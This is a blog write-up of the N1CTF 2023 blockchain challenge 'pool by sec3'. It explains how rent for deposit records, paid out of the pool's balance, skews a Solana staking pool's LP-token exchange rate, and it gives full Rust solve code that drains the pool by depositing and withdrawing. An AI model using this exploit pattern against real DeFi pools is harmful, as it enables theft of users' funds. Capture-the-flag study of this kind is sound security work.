I decided to cool off my head during the midterm exam period by trying out the blockchain challenge in N1CTF.
https://github.com/kangsangsoo/CTF-Writeups/tree/main/N1CTF%202023/pool%20by%20sec3
pool by sec3
analysis
I expected a vulnerability by the absence of validation since this code was written in native, not anchor.
but I was surprised to find it solid.
This code is just the implementation of a staking pool.
So our accessible strategy is to deposit SOL and then withdraw the token with the aim of receiving more SOL.
// Fund the deposit record account
let lamports_required_for_deposit_record = (Rent::get()?).minimum_balance(DepositRecord::LEN);
msg!(format!("lamports_required_for_deposit_record: {}", lamports_required_for_deposit_record).as_str()); // added for debug
**pool_account.lamports.borrow_mut() -= lamports_required_for_deposit_record;
**deposit_record_account.lamports.borrow_mut() += lamports_required_for_deposit_record;
What's notable is that the program records our data on-chain and that itself covers the rent cost by using pool balance.
if deposit_record_data.lp_token_amount == 0 {
// close deposit record account
**pool_account.lamports.borrow_mut() += deposit_record_account.lamports();
**deposit_record_account.lamports.borrow_mut() = 0;
deposit_record_account.realloc(0, true)?;
deposit_record_account.assign(system_program.key);
}
Also, if the record is no longer needed, the remaining amount is returned to the pool.
impl DepositRecord {
pub const SEED_PREFIX: &'static str = "RECOOORD";
pub const LEN: usize = 0x2000; // I'm too lazy to calculate this
}
However, because the struct size is quite large, I could guess a significant cost is incurred.
I checked the logs from the server and revealed that about 0.05 SOL was paid.
As this amount is deducted from the pool account, it ultimately impacts the LP:token exchange rate.
- scenario
1. Create many DepositRecords in order to make pool balance 0.000000001SOL.
2. Deposit all our balance(0.9SOL) to the pool.
3. Remove all DepositRecords made in 1-step.
4. FInally, withdraw our all tokens made in 2-step.
solve
added in main.rs
// added
writeln!(stream, "m {}", "28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t")?;
for i in 0..20 {
let (deposit_record_account_pda, _) = Pubkey::find_program_address(&[chall::state::DepositRecord::SEED_PREFIX.as_bytes(), pool.as_ref(), user.as_ref(), [i].to_vec().as_ref()], &chall_id);
writeln!(stream, "mw {}", deposit_record_account_pda)?;
}
processor.rs
use borsh::{BorshSerialize, BorshDeserialize};
use solana_program::{
account_info::{
next_account_info,
AccountInfo,
},
entrypoint::ProgramResult,
instruction::{
AccountMeta,
Instruction,
},
program::invoke,
pubkey::Pubkey, log,
};
pub fn process_instruction(_program: &Pubkey, accounts: &[AccountInfo], _data: &[u8]) -> ProgramResult {
let accounts_iter = &mut accounts.iter();
let admin = next_account_info(accounts_iter)?;
let user = next_account_info(accounts_iter)?;
let user_token_account = next_account_info(accounts_iter)?;
let pool = next_account_info(accounts_iter)?;
let mint = next_account_info(accounts_iter)?;
let chall_id = next_account_info(accounts_iter)?;
let rent = next_account_info(accounts_iter)?;
let token_program = next_account_info(accounts_iter)?;
let associated_token_program = next_account_info(accounts_iter)?;
let system_program = next_account_info(accounts_iter)?;
let solve_program = next_account_info(accounts_iter)?;
let mut records = vec![];
for i in 0..17 {
records.push(next_account_info(accounts_iter)?);
}
if (**pool.lamports.borrow() > 800_000_000) && (**user.lamports.borrow() > 800_000_000) {
for i in 0..11 {
let record_1 = records[i];
let fisrt = Instruction::new_with_bytes(
chall_id.key.clone(),
&chall::processor::PoolInstruction::Deposit(100, [i as u8].to_vec()).try_to_vec().unwrap(),
vec![
AccountMeta::new(pool.key.clone(), false),
AccountMeta::new(record_1.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user_token_account.key.clone(), false),
AccountMeta::new(mint.key.clone(), false),
AccountMeta::new_readonly(token_program.key.clone(), false),
AccountMeta::new_readonly(associated_token_program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(&fisrt,
&[
pool.clone(),
user.clone(),
rent.clone(),
record_1.clone(),
user_token_account.clone(),
mint.clone(),
token_program.clone(),
system_program.clone(),
chall_id.clone(),
associated_token_program.clone(),
]);
}
} else if (**pool.lamports.borrow() > 100_000_000) && (**user.lamports.borrow() > 800_000_000) {
{
for i in 11..13 {
let record_1 = records[i];
let fisrt = Instruction::new_with_bytes(
chall_id.key.clone(),
&chall::processor::PoolInstruction::Deposit(100, [i as u8].to_vec()).try_to_vec().unwrap(),
vec![
AccountMeta::new(pool.key.clone(), false),
AccountMeta::new(record_1.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user_token_account.key.clone(), false),
AccountMeta::new(mint.key.clone(), false),
AccountMeta::new_readonly(token_program.key.clone(), false),
AccountMeta::new_readonly(associated_token_program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(&fisrt,
&[
pool.clone(),
user.clone(),
rent.clone(),
record_1.clone(),
user_token_account.clone(),
mint.clone(),
token_program.clone(),
system_program.clone(),
chall_id.clone(),
associated_token_program.clone(),
]);
}
let record_1 = records[13];
let fisrt = Instruction::new_with_bytes(
chall_id.key.clone(),
&chall::processor::PoolInstruction::Deposit(34_000_000 - 2_089_587, [13 as u8].to_vec()).try_to_vec().unwrap(), // 9588
vec![
AccountMeta::new(pool.key.clone(), false),
AccountMeta::new(record_1.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user_token_account.key.clone(), false),
AccountMeta::new(mint.key.clone(), false),
AccountMeta::new_readonly(token_program.key.clone(), false),
AccountMeta::new_readonly(associated_token_program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(&fisrt,
&[
pool.clone(),
user.clone(),
rent.clone(),
record_1.clone(),
user_token_account.clone(),
mint.clone(),
token_program.clone(),
system_program.clone(),
chall_id.clone(),
associated_token_program.clone(),
]);
let record_1 = records[14];
let fisrt = Instruction::new_with_bytes(
chall_id.key.clone(),
&chall::processor::PoolInstruction::Deposit(100, [14 as u8].to_vec()).try_to_vec().unwrap(),
vec![
AccountMeta::new(pool.key.clone(), false),
AccountMeta::new(record_1.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user_token_account.key.clone(), false),
AccountMeta::new(mint.key.clone(), false),
AccountMeta::new_readonly(token_program.key.clone(), false),
AccountMeta::new_readonly(associated_token_program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(&fisrt,
&[
pool.clone(),
user.clone(),
rent.clone(),
record_1.clone(),
user_token_account.clone(),
mint.clone(),
token_program.clone(),
system_program.clone(),
chall_id.clone(),
associated_token_program.clone(),
]);
let record_1 = records[14];
let fisrt = Instruction::new_with_bytes(
chall_id.key.clone(),
&chall::processor::PoolInstruction::Deposit(950_000_000, [14 as u8].to_vec()).try_to_vec().unwrap(),
vec![
AccountMeta::new(pool.key.clone(), false),
AccountMeta::new(record_1.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user_token_account.key.clone(), false),
AccountMeta::new(mint.key.clone(), false),
AccountMeta::new_readonly(token_program.key.clone(), false),
AccountMeta::new_readonly(associated_token_program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(&fisrt,
&[
pool.clone(),
user.clone(),
rent.clone(),
record_1.clone(),
user_token_account.clone(),
mint.clone(),
token_program.clone(),
system_program.clone(),
chall_id.clone(),
associated_token_program.clone(),
]);
for i in 0..6 {
let record_1 = records[i];
let amt = chall::state::DepositRecord::try_from_slice(&record_1.data.borrow())?.lp_token_amount;
let fisrt = Instruction::new_with_bytes(
chall_id.key.clone(),
&chall::processor::PoolInstruction::Withdraw(amt, [i as u8].to_vec()).try_to_vec().unwrap(),
vec![
AccountMeta::new(pool.key.clone(), false),
AccountMeta::new(record_1.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user_token_account.key.clone(), false),
AccountMeta::new(mint.key.clone(), false),
AccountMeta::new_readonly(token_program.key.clone(), false),
AccountMeta::new_readonly(associated_token_program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(&fisrt,
&[
pool.clone(),
user.clone(),
rent.clone(),
record_1.clone(),
user_token_account.clone(),
mint.clone(),
token_program.clone(),
system_program.clone(),
chall_id.clone(),
associated_token_program.clone(),
]);
}
}
} else {
for i in 6..15 {
let record_1 = records[i];
let amt = chall::state::DepositRecord::try_from_slice(&record_1.data.borrow())?.lp_token_amount;
let fisrt = Instruction::new_with_bytes(
chall_id.key.clone(),
&chall::processor::PoolInstruction::Withdraw(amt, [i as u8].to_vec()).try_to_vec().unwrap(),
vec![
AccountMeta::new(pool.key.clone(), false),
AccountMeta::new(record_1.key.clone(), false),
AccountMeta::new(user.key.clone(), true),
AccountMeta::new(user_token_account.key.clone(), false),
AccountMeta::new(mint.key.clone(), false),
AccountMeta::new_readonly(token_program.key.clone(), false),
AccountMeta::new_readonly(associated_token_program.key.clone(), false),
AccountMeta::new_readonly(system_program.key.clone(), false),
],
);
invoke(&fisrt,
&[
pool.clone(),
user.clone(),
rent.clone(),
record_1.clone(),
user_token_account.clone(),
mint.clone(),
token_program.clone(),
system_program.clone(),
chall_id.clone(),
associated_token_program.clone(),
]);
}
}
Ok(())
}
'writeups' 카테고리의 다른 글
0CTF/TCTF 2023 - misc(ctar) (0) | 2023.12.11 |
---|---|
GlacierCTF 2023 - smartcontract (0) | 2023.11.26 |
SECCON CTF 2023 Quals - [misc, blockchain](tokyo payload) (0) | 2023.09.22 |
whitehat 2023 - blockchain (0) | 2023.09.19 |
SekaiCTF 2023 - Blockchain(The Bidding, Play for Free, Re-Remix) (0) | 2023.08.28 |